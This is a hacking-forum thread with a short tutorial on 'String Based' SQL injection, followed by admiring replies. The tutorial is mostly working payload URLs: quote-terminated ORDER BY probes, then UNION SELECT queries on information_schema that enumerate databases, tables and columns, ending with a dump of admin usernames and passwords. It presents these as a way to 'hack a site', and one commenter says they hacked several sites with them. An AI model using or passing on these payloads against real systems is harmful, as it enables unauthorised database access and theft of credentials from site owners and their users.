[Zhen.]

Tutorial by Zer0Freak

Difficulty: Easy
Requirements: 10 minutes of reading time, patience and intuition
Previous Chapters:
Chapter1: https://hackforums.net/showthread.php?tid=2059771
Chapter2: https://hackforums.net/showthread.php?tid=2060211
Chapter3: https://hackforums.net/showthread.php?tid=2061628
Chapter4: https://hackforums.net/showthread.php?tid=2085773

Alright, since my previous tutorials haven't had enough responses as I expected due to people who aren't fond of reading big tutorials, I've decided I won't make this tutorial big. As a matter of fact, I'll just make you understand the concepts behind String Based SQL injection. I KNOW there are a lot of tutorials that would be the same as this one, but I guarantee that if you read this, you won't have any doubts on String Based.

---

---

---

What is String Based SQL injection and how to notice them?
To make this simple to understand, String Based SQL injection happens when the site is vulnerable to SQL injection but doesn't show us the results needed to be displayed after executing our SQLi query.
Common known issues that proves the site being vulnerable to String Based are:

Code

"order by" doesn't work, example: order by 100--
"group by" doesn't work
"having 1=2" doesn't work
queries related to SQL injection doesn't work (will show a normal page even though site is vuln to SQLi)

---

---

---

Solution to this issue in order to hack a site with String Based SQL injection
The answer to this problem is by using the following format while trying to hack a site with SQLi

Code

http://site.com/index.php?id=10' order by 1000--+

That will show us the error, hence displaying the results according to our query.
The point here is that we used the quote ' and the + sign in our query

Code

id=X' order by--+

Alright that you've got the point lets try String Based on some of the other types of SQL injection shall we

---

---

String-Union Based SQL injection
1. Obtaining the number of columns (in this example, we'll use 10 columns)

Code

http://www.site.com/index.php?id=234' order by 11--+

Results show error, so we'll assume as 10 columns, since it'll be an example for our process

2. Obtaining the Databases

Code

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+

Results will display the databases on their website
Note: If you don't know anything about UNION Based SQL injection, I suggest you read one of my tutorials to progress further in this step

3.Obtaining the Tables from the current Database

Code

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+

Results will display the current table names
For this example, we'll be using the table name: "admin"

4.Obtaining Column names from a specific table (which in this example is "admin")

Code

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+

Results will display the column names from the current table
To convert plain text to hex, use: http://www.swingnote.com/tools/texttohex.php

For this example, we'll use "username" and "password" as our column names

5.Obtaining Data from Column names

Code

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+

Results will display the data given by the columns you have chosen

This can be also done with Error Based SQL injection, Blind Based and other types of SQL injection
Please refer to my previous tutorials to know more about Error Based and Union Based

---

---

---

This will be considered as a mini tutorial for String Based SQL injection. I just hope people are gonna understand this as much as they're on their journey through SQL injection
Hope you guys enjoy this. It's pretty much the concept that is needed when you SQLi
End of Chapter 5
Upcoming Chapter: Blind Based SQL Injection Detailed
Contact me via PM
or
Email: [email protected]
Have a great day

[CyberSyringe]

Nicely done. Love the layout, it's a very user friendly tutorial, and not a pain to the eyes such as many other tutorials.

[BeggFoMercy]

Easy bizzy and simplizzy thanks for the hard work :)

[Suved]

thanks for share dude great tutorial..
hope u will also make a tut on blind sqli & WAF bypassing

[grEEkcr4ck3r]

You are always making the best tutorials...

[Zhen.]

Thanks a lot guys
Really appreciate it

and yes, I'll make a detailed Blind SQL injection tutorial this week anytime soon
So stay tuned 🤝

[Ironpunch]

I love the way you present out the tutorials, this chapter was what i was looking forward, great done doing the job that is supposed by a hacker to do :D

[Zhen.]

Thanks for the feedbacks
Just hope, more people will find this useful

[!!!!]

Im learning my web hacking skills from his tutorials and he is the best at teaching the skills than many in this forum! I had many doubts about the SQLi method and his thread solved everything and Im proud that I learned it easily from his tutorials and hacked a few sites with the skills! :D

And once again an awesome tutorial! Thnx alot bro! :D

[SIM-487530]

thanks for the tutor, helped me a lot

[Zhen.]

Thanks for the positive responses guys
Really appreciate your feed backs

[raks]

I really want to say thanks to Zer0Freak for making MegaProjectSQLi.
This really helped us to make good knowledge.I expect more and more tutorials

[Zhen.]

Thanks a lot for the feed back.
Really appreciate all your positive responses.

[k1ngj0sh143]

Short sweet and to the point. You shouldn't care about the lengths of the tuts. The average person that wants it done instantly or instant knowledge might not read it all. But for those who honestly want the knowledge will read and learn. Another great job bro

[NIIGHT HAWKE]

great tutorial sir <3 thankx a lot :)

---

i've learned , double query/error based , string based injections from your blog sir :) thankx a lot <3